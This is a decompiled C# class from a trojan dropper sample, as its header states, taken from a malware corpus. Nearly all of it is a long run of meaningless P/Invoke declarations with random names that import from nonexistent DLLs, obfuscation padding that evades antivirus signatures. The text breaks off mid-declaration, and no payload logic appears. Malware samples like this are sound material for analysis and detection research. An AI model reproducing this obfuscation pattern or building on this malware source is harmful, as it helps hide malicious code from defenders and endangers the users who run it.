// Decompiled with JetBrains decompiler
// Type: JKINxFMcEDTJLDc
// Assembly: update, Version=0.0.2.7, Culture=neutral, PublicKeyToken=null
// MVID: BF43E90F-189F-4D83-A4EC-0CCAE72005D7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.MSIL.Pakes.e-89342a9f2dd627d4d0947aae4b6bda50ad613c711e1185c64d740e346c0f656b.exe

using System;
using System.Runtime.InteropServices;
using System.Text;

public class JKINxFMcEDTJLDc
{
  [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
  private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber);

  [DllImport("xEXfUzvvuzkqyPpoFuxpOrWU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OsRjJjuoHpNwHNJVlBIKTqlPR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string CqLCrGQyylmNWiLeJhzMzwq,
    string[] JGdNXdZlCDYajHoShOUnvk,
    char RMMLQBtBfGrILOGeImWSH);

  [DllImport("ntpCFTpqzKFixQkExnTcdbgR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bSJWgPPDoQmyNuMxCcQNHZXtP(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KRvJIYbeWvKDnVXrUZmwSfT,
    string[] FgDCdLcOSsTeYqnKfFwsEV,
    char kGtDaVyBhBHPEjstrwUah);

  [DllImport("tOsRjJjuoHpNwHNJVlBIKTql.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MZYosumMbTElnIkpDzivVVwGS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string PRxEXfUzvvuzkqyPpoFuxpO,
    string[] rWUCqLCrGQyylmNWiLeJhz,
    char MzwqJGdNXdZlCDYajHoSh);

  [DllImport("HbSJWgPPDoQmyNuMxCcQNHZX.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OUnvkRMMLQBtBfGrILOGeImWS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tPntpCFTpqzKFixQkExnTcd,
    string[] bgRKRvJIYbeWvKDnVXrUZm,
    char wSfTFgDCdLcOSsTeYqnKf);

  [DllImport("hMZYosumMbTElnIkpDzivVVw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FwsEVkGtDaVyBhBHPEjstrwUa(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string GStOsRjJjuoHpNwHNJVlBIK,
    string[] TqlPRxEXfUzvvuzkqyPpoF,
    char uxpOrWUCqLCrGQyylmNWi);

  [DllImport("hOUnvkRMMLQBtBfGrILOGeIm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LeJhzMzwqJGdNXdZlCDYajHoS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WSHbSJWgPPDoQmyNuMxCcQN,
    string[] HZXtPntpCFTpqzKFixQkEx,
    char nTcdbgRKRvJIYbeWvKDnV);

  [DllImport("fFwsEVkGtDaVyBhBHPEjstrw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XrUZmwSfTFgDCdLcOSsTeYqnK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string UahMZYosumMbTElnIkpDziv,
    string[] VVwGStOsRjJjuoHpNwHNJV,
    char lBIKTqlPRxEXfUzvvuzkq);

  [DllImport("iLeJhzMzwqJGdNXdZlCDYajH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yPpoFuxpOrWUCqLCrGQyylmNW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string oShOUnvkRMMLQBtBfGrILOG,
    string[] eImWSHbSJWgPPDoQmyNuMx,
    char CcQNHZXtPntpCFTpqzKFi);

  [DllImport("VXrUZmwSfTFgDCdLcOSsTeYq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xQkExnTcdbgRKRvJIYbeWvKDn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string nKfFwsEVkGtDaVyBhBHPEjs,
    string[] trwUahMZYosumMbTElnIkp,
    char DzivVVwGStOsRjJjuoHpN);

  [DllImport("qyPpoFuxpOrWUCqLCrGQyylm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] wHNJVlBIKTqlPRxEXfUzvvuzk(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string NWiLeJhzMzwqJGdNXdZlCDY,
    string[] ajHoShOUnvkRMMLQBtBfGr,
    char ILOGeImWSHbSJWgPPDoQm);

  [DllImport("ixQkExnTcdbgRKRvJIYbeWvK.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yNuMxCcQNHZXtPntpCFTpqzKF(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string DnVXrUZmwSfTFgDCdLcOSsT,
    string[] eYqnKfFwsEVkGtDaVyBhBH,
    char PEjstrwUahMZYosumMbTE);

  [DllImport("yityvHYmuvFdXBDjpJRHmhig.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lnIkpDziiIIjrEgzfDVuVgasc(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lWdkBcbrhjbBdIGocwnesDl,
    string[] kYYzIUwQvUlxljdvsPyKQM,
    char XopLMWtaETzGZhXDxywCm);

  [DllImport("YlzgykoOCztMJfCagcnqGbcm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gnRsdtxzrRtYJFsOEuJTCCobC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vqUjDXpkaGOPNSEwEiutKOR,
    string[] IhwpZHKeHLZjFSFrSonQxP,
    char BFeFQKcZvSqieqIWrfoMH);

  [DllImport("pXauXbpmViIIjrEgzfDVuVga.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] kmTnsBqWffdiGNUyLLaehZxNG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string scyityvHYmuvFdXBDjpJRHm,
    string[] higlWdkBcbrhjbBdIGocwn,
    char esDlkYYzIUwQvUlxljdvs);

  [DllImport("mgnRsdtxzrRtYJFsOEuJTCCo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PyKQMXopLMWtaETzGZhXDxywC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string bCYlzgykoOCztMJfCagcnqG,
    string[] bcmvqUjDXpkaGOPNSEwEiu,
    char tKORIhwpZHKeHLZjFSFrS);

  [DllImport("HkmTnsBqWffdiGNUyLLaehZx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] onQxPBFeFQKcZvSqieqIWrfoM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string NGpXauXbpmViIIjrEgzfDVu,
    string[] VgascyityvHYmuvFdXBDjp,
    char JRHmhiglWdkBcbrhjbBdI);

  [DllImport("sPyKQMXopLMWtaETzGZhXDxy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GocwnesDlkYYzIUwQvUlxljdv(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string wCmgnRsdtxzrRtYJFsOEuJT,
    string[] CCobCYlzgykoOCztMJfCag,
    char cnqGbcmvqUjDXpkaGOPNS);

  [DllImport("SonQxPBFeFQKcZvSqieqIWrf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EwEiutKORIhwpZHKeHLZjFSFr(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string oMHkmTnsBqWffdiGNUyLLae,
    string[] hZxNGpXauXbpmViIIjrEgz,
    char fDVuVgascyityvHYmuvFd);

  [DllImport("IGocwnesDlkYYzIUwQvUlxlj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XBDjpJRHmhiglWdkBcbrhjbBd(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dvsPyKQMXopLMWtaETzGZhX,
    string[] DxywCmgnRsdtxzrRtYJFsO,
    char EuJTCCobCYlzgykoOCztM);

  [DllImport("SEwEiutKORIhwpZHKeHLZjFS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JfCagcnqGbcmvqUjDXpkaGOPN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string FrSonQxPBFeFQKcZvSqieqI,
    string[] WrfoMHkmTnsBqWffdiGNUy,
    char LLaehZxNGpXauXbpmViII);

  [DllImport("dXBDjpJRHmhiglWdkBcbrhjb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jrEgzfDVuVgascyityvHYmuvF(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BdIGocwnesDlkYYzIUwQvUl,
    string[] xljdvsPyKQMXopLMWtaETz,
    char GZhXDxywCmgnRsdtxzrRt);

  [DllImport("MJfCagcnqGbcmvqUjDXpkaGO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] YJFsOEuJTCCobCYlzgykoOCzt(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string PNSEwEiutKORIhwpZHKeHLZ,
    string[] jFSFrSonQxPBFeFQKcZvSq,
    char ieqIWrfoMHkmTnsBqWffd);

  [DllImport("IjrEgzfDVuVgascyityvHYmu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iGNUyLLaehZxNGpXauXbpmViI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vFdXBDjpJRHmhiglWdkBcbr,
    string[] hjbBdIGocwnesDlkYYzIUw,
    char QvUlxljdvsPyKQMXopLMW);

  [DllImport("tYJFsOEuJTCCobCYlzgykoOC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] taETzGZhXDxywCmgnRsdtxzrR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ztMJfCagcnqGbcmvqUjDXpk,
    string[] aGOPNSEwEiutKORIhwpZHK,
    char eHLZjFSFrSonQxPBFeFQK);

  [DllImport("diGNUyLLaehZxNGpXauXbpmV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cZvSqieqIWrfoMHkmTnsBqWff(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string iIIjrEgzfDVuVgascyityvH,
    string[] YmuvFdXBDjpJRHmhiglWdk,
    char BcbrhjbBdIGocwnesDlkY);

  [DllImport("WtaETzGZhXDxywCmgnRsdtxz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] YzIUwQvUlxljdvsPyKQMXopLM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rRtYJFsOEuJTCCobCYlzgyk,
    string[] oOCztMJfCagcnqGbcmvqUj,
    char DXpkaGOPNSEwEiutKORIh);

  [DllImport("KcZvSqieqIWrfoMHkmTnsBqW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] wpZHKeHLZjFSFrSonQxPBFeFQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ffdiGNUyLLaehZxNGpXauXb,
    string[] pmViIIjrEgzfDVuVgascyi,
    char tyvHYmuvFdXBDjpJRHmhi);

  [DllImport("YYzIUwQvUlxljdvsPyKQMXop.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] glWdkBcbrhjbBdIGocwnesDlk(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LMWtaETzGZhXDxywCmgnRsd,
    string[] txzrRtYJFsOEuJTCCobCYl,
    char zgykoOCztMJfCagcnqGbc);

  [DllImport("hwpZHKeHLZjFSFrSonQxPBFe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mvqUjDXpkaGOPNSEwEiutKORI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string FQKcZvSqieqIWrfoMHkmTns,
    string[] BqWffdiGNUyLLaehZxNGpX,
    char auXbpmViIIjrEgzfDVuVg);

  [DllImport("iglWdkBcbrhjbBdIGocwnesD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ascyityvHYmuvFdXBDjpJRHmh(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lkYYzIUwQvUlxljdvsPyKQM,
    string[] XopLMWtaETzGZhXDxywCmg,
    char nRsdtxzrRtYJFsOEuJTCC);

  [DllImport("cmvqUjDXpkaGOPNSEwEiutKO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] obCYlzgykoOCztMJfCagcnqGb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string RIhwpZHKeHLZjFSFrSonQxP,
    string[] BFeFQKcZvSqieqIWrfoMHk,
    char mTnsBqWffdiGNUyLLaehZ);

  [DllImport("gascyityvHYmuvFdXBDjpJRH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xNGpXauXbpmViIIjrEgzfDVuV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mhiglWdkBcbrhjbBdIGocwn,
    string[] esDlkYYzIUwQvUlxljdvsP,
    char yKQMXopLMWtaETzGZhXDx);

  [DllImport("CobCYlzgykoOCztMJfCagcnq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ywCmgnRsdtxzrRtYJFsOEuJTC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string GbcmvqUjDXpkaGOPNSEwEiu,
    string[] tKORIhwpZHKeHLZjFSFrSo,
    char nQxPBFeFQKcZvSqieqIWr);

  [DllImport("ZxNGpXauXbpmViIIjrEgzfDV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] foMHkmTnsBqWffdiGNUyLLaeh(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string uVgascyityvHYmuvFdXBDjp,
    string[] JRHmhiglWdkBcbrhjbBdIG,
    char ocwnesDlkYYzIUwQvUlxl);

  [DllImport("xywCmgnRsdtxzrRtYJFsOEuJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jdvsPyKQMXopLMWtaETzGZhXD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TCCobCYlzgykoOCztMJfCag,
    string[] cnqGbcmvqUjDXpkaGOPNSE,
    char wEiutKORIhwpZHKeHLZjF);

  [DllImport("rfoMHkmTnsBqWffdiGNUyLLa.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SFrSonQxPBFeFQKcZvSqieqIW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ehZxNGpXauXbpmViIIjrEgz,
    string[] fDVuVgascyityvHYmuvFdX,
    char BDjpJRHmhiglWdkBcbrhj);

  [DllImport("ljdvsPyKQMXopLMWtaETzGZh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bBdIGocwnesDlkYYzIUwQvUlx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XDxywCmgnRsdtxzrRtYJFsO,
    string[] EuJTCCobCYlzgykoOCztMJ,
    char fCagcnqGbcmvqUjDXpkaG);

  [DllImport("FSFrSonQxPBFeFQKcZvSqieq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OPNSEwEiutKORIhwpZHKeHLZj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IWrfoMHkmTnsBqWffdiGNUy,
    string[] LLaehZxNGpXauXbpmViIIj,
    char rEgzfDVuVgascyityvHYm);

  [DllImport("jbBdIGocwnesDlkYYzIUwQvU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uvFdXBDjpJRHmhiglWdkBcbrh(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lxljdvsPyKQMXopLMWtaETz,
    string[] GZhXDxywCmgnRsdtxzrRtY,
    char uqfzqguFnnbNoLXlTkWaB);

  [DllImport("rBBzFpipUhgwzDuTibLtvQsx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] olfxuSnMSOadrNPYidHWoJcWM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string LVqErdFbaCjBmqRrDwPMiEc,
    string[] VRctJeRbytXZFZfmcIRSQV,
    char syGkxwNQTLkyrcKMgJObY);

  [DllImport("ZgirPKnpWcvEsYUUTXJPWnON.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HUttVdqSmRpHhITNfOlVflhsK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dTWOmQusaPjZQeoXXKKluHi,
    string[] DhGYjYVPheClvCxKabwyIf,
    char NpGmsMUJokkjoZSZEeQgj);

  [DllImport("BolfxuSnMSOadrNPYidHWoJc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] meDgLuqfzqguFnnbNoLXlTkWa(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WMrBBzFpipUhgwzDuTibLtv,
    string[] QsxLVqErdFbaCjBmqRrDwP,
    char MiEcVRctJeRbytXZFZfmc);

  [DllImport("YHUttVdqSmRpHhITNfOlVflh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IRSQVsyGkxwNQTLkyrcKMgJOb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sKZgirPKnpWcvEsYUUTXJPW,
    string[] nONdTWOmQusaPjZQeoXXKK,
    char luHiDhGYjYVPheClvCxKa);

  [DllImport("jmeDgLuqfzqguFnnbNoLXlTk.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bwyIfNpGmsMUJokkjoZSZEeQg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WaBolfxuSnMSOadrNPYidHW,
    string[] oJcWMrBBzFpipUhgwzDuTi,
    char bLtvQsxLVqErdFbaCjBmq);

  [DllImport("cIRSQVsyGkxwNQTLkyrcKMgJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RrDwPMiEcVRctJeRbytXZFZfm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ObYHUttVdqSmRpHhITNfOlV,
    string[] flhsKZgirPKnpWcvEsYUUT,
    char XJPWnONdTWOmQusaPjZQe);

  [DllImport("abwyIfNpGmsMUJokkjoZSZEe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oXXKKluHiDhGYjYVPheClvCxK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QgjmeDgLuqfzqguFnnbNoLX,
    string[] lTkWaBolfxuSnMSOadrNPY,
    char idHWoJcWMrBBzFpipUhgw);

  [DllImport("qRrDwPMiEcVRctJeRbytXZFZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zDuTibLtvQsxLVqErdFbaCjBm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string fmcIRSQVsyGkxwNQTLkyrcK,
    string[] MgJObYHUttVdqSmRpHhITN,
    char fOlVflhsKZgirPKnpWcvE);

  [DllImport("eoXXKKluHiDhGYjYVPheClvC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sYUUTXJPWnONdTWOmQusaPjZQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string xKabwyIfNpGmsMUJokkjoZS,
    string[] ZEeQgjmeDgLuqfzqguFnnb,
    char NoLXlTkWaBolfxuSnMSOa);

  [DllImport("wzDuTibLtvQsxLVqErdFbaCj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] drNPYidHWoJcWMrBBzFpipUhg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BmqRrDwPMiEcVRctJeRbytX,
    string[] ZFZfmcIRSQVsyGkxwNQTLk,
    char yrcKMgJObYHUttVdqSmRp);

  [DllImport("EsYUUTXJPWnONdTWOmQusaPj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HhITNfOlVflhsKZgirPKnpWcv(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZQeoXXKKluHiDhGYjYVPheC,
    string[] lvCxKabwyIfNpGmsMUJokk,
    char joZSZEeQgjmeDgLuqfzqg);

  [DllImport("adrNPYidHWoJcWMrBBzFpipU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uFnnbNoLXlTkWaBolfxuSnMSO(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hgwzDuTibLtvQsxLVqErdFb,
    string[] aCjBmqRrDwPMiEcVRctJeR,
    char bytXZFZfmcIRSQVsyGkxw);

  [DllImport("pHhITNfOlVflhsKZgirPKnpW.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NQTLkyrcKMgJObYHUttVdqSmR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cvEsYUUTXJPWnONdTWOmQus,
    string[] aPjZQeoXXKKluHiDhGYjYV,
    char PheClvCxKabwyIfNpGmsM);

  [DllImport("guFnnbNoLXlTkWaBolfxuSnM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UJokkjoZSZEeQgjmeDgLuqfzq(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string SOadrNPYidHWoJcWMrBBzFp,
    string[] ipUhgwzDuTibLtvQsxLVqE,
    char rdFbaCjBmqRrDwPMiEcVR);

  [DllImport("wNQTLkyrcKMgJObYHUttVdqS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ctJeRbytXZFZfmcIRSQVsyGkx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string mRpHhITNfOlVflhsKZgirPK,
    string[] npWcvEsYUUTXJPWnONdTWO,
    char mQusaPjZQeoXXKKluHiDh);

  [DllImport("MUJokkjoZSZEeQgjmeDgLuqf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GYjYVPheClvCxKabwyIfNpGms(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zqguFnnbNoLXlTkWaBolfxu,
    string[] SnMSOadrNPYidHWoJcWMrB,
    char BzFpipUhgwzDuTibLtvQs);

  [DllImport("RctJeRbytXZFZfmcIRSQVsyG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xLVqErdFbaCjBmqRrDwPMiEcV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kxwNQTLkyrcKMgJObYHUttV,
    string[] dqSmRpHhITNfOlVflhsKZg,
    char irPKnpWcvEsYUUTXJPWnO);

  [DllImport("hGYjYVPheClvCxKabwyIfNpG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NdTWOmQusaPjZQeoXXKKluHiD(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string msMUJokkjoZSZEeQgjmeDgL,
    string[] uqfzqguFnnbNoLXlTkWaBo,
    char lfxuSnMSOadrNPYidHWoJ);

  [DllImport("sxLVqErdFbaCjBmqRrDwPMiE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cWMrBBzFpipUhgwzDuTibLtvQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cVRctJeRbytXZFZfmcIRSQV,
    string[] syGkxwNQTLkyrcKMgJObYH,
    char UttVdqSmRpHhITNfOlVfl);

  [DllImport("ONdTWOmQusaPjZQeoXXKKluH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hsKZgirPKnpWcvEsYUUTXJPWn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string iDhGYjYVPheClvCxKabwyIf,
    string[] NpGmsMUJokkjoZSZEeQgjm,
    char eDgLuqfzqguFnnbNoLXlT);

  [DllImport("JcWMrBBzFpipUhgwzDuTibLt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] kWaBolfxuSnMSOadrNPYidHWo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vQsxLVqErdFbaCjBmqRrDwP,
    string[] MiEcVRctJeRbytXZFZfmcI,
    char RSQVsyGkxwNQTLkyrcKMg);

  [DllImport("lhsKZgirPKnpWcvEsYUUTXJP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] JObYHUttVdqSmRpHhITNfOlVf(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WnONdTWOmQusaPjZQeoXXKK,
    string[] luHiDhGYjYVPheClvCxKab,
    char wyIfNpGmsMUJokkjoZSZE);

  [DllImport("TkWaBolfxuSnMSOadrNPYidH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eQgjmeDgLuqfzqguFnnbNoLXl(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WoJcWMrBBzFpipUhgwzDuTi,
    string[] bLtvQsxLVqErdFbaCjBmqR,
    char rDwPMiEcVRctJeRbytXZF);

  [DllImport("gJObYHUttVdqSmRpHhITNfOl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZfmcIRSQVsyGkxwNQTLkyrcKM(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string VflhsKZgirPKnpWcvEsYUUT,
    string[] XJPWnONdTWOmQusaPjZQeo,
    char XXKKluHiDhGYjYVPheClv);

  [DllImport("EeQgjmeDgLuqfzqguFnnbNoL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CxKabwyIfNpGmsMUJokkjoZSZ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XlTkWaBolfxuSnMSOadrNPY,
    string[] idHWoJcWMrBBzFpipUhgwz,
    char DuTibLtvQsxLVqErdFbaC);

  [DllImport("FZfmcIRSQVsyGkxwNQTLkyrc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jBmqRrDwPMiEcVRctJeRbytXZ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KMgJObYHUttVdqSmRpHhITN,
    string[] fOlVflhsKZgirPKnpWcvEs,
    char YUUTXJPWnONdTWOmQusaP);

  [DllImport("vCxKabwyIfNpGmsMUJokkjoZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jZQeoXXKKluHiDhGYjYVPheCl(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string SZEeQgjmeDgLuqfzqguFnnb,
    string[] NoLXlTkWaBolfxuSnMSOad,
    char rNPYidHWoJcWMrBBzFpip);

  [DllImport("CjBmqRrDwPMiEcVRctJeRbyt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UhgwzDuTibLtvQsxLVqErdFba(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QRxSXfVBKKJOkrydqpGJMEc,
    string[] rkUDFZCHURzNmmOWjLeKiz,
    char azLFXHdNYealDRZakIDgh);

  [DllImport("IcSJXhQQDDemzbvayQcROIaX.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OVnvlRMNLQCIPgHGWMPGfInlT(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tdouqCTUprBYFiyflFNChdd,
    string[] bgSLSwXJYcfXvZEnjYsiZn,
    char xggTGhEQeMdPTsheYqnLg);

  [DllImport("iNaZpsvnMbUEloJlpEOjwjWx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FLHTWkGIRbVyPhCVPFkttsxib(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string USuctfjKjuoHEbwVOKVmBWK,
    string[] UrmQRxSXfVBKKJOkrydqpG,
    char JMEcrkUDFZCHURzNmmOWj);

  [DllImport("hOVnvlRMNLQCIPgHGWMPGfIn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LeKizazLFXHdNYealDRZakIDg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lTIcSJXhQQDDemzbvayQcRO,
    string[] IaXtdouqCTUprBYFiyflFN,
    char ChddbgSLSwXJYcfXvZEnj);

  [DllImport("gFLHTWkGIRbVyPhCVPFkttsx.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] YsiZnxggTGhEQeMdPTsheYqnL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ibiNaZpsvnMbUEloJlpEOjw,
    string[] jWxUSuctfjKjuoHEbwVOKV,
    char mBWKUrmQRxSXfVBKKJOkr);

  [DllImport("jLeKizazLFXHdNYealDRZakI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ydqpGJMEcrkUDFZCHURzNmmOW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string DghOVnvlRMNLQCIPgHGWMPG,
    string[] fInlTIcSJXhQQDDemzbvay,
    char QcROIaXtdouqCTUprBYFi);

  [DllImport("jYsiZnxggTGhEQeMdPTsheYq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yflFNChddbgSLSwXJYcfXvZEn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string nLgFLHTWkGIRbVyPhCVPFkt,
    string[] tsxibiNaZpsvnMbUEloJlp,
    char EOjwjWxUSuctfjKjuoHEb);

  [DllImport("rydqpGJMEcrkUDFZCHURzNmm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] wVOKVmBWKUrmQRxSXfVBKKJOk(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string OWjLeKizazLFXHdNYealDRZ,
    string[] akIDghOVnvlRMNLQCIPgHG,
    char WMPGfInlTIcSJXhQQDDem);

  [DllImport("iyflFNChddbgSLSwXJYcfXvZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zbvayQcROIaXtdouqCTUprBYF(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string EnjYsiZnxggTGhEQeMdPTsh,
    string[] eYqnLgFLHTWkGIRbVyPhCV,
    char PFkttsxibiNaZpsvnMbUE);

  [DllImport("bwVOKVmBWKUrmQRxSXfVBKKJ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
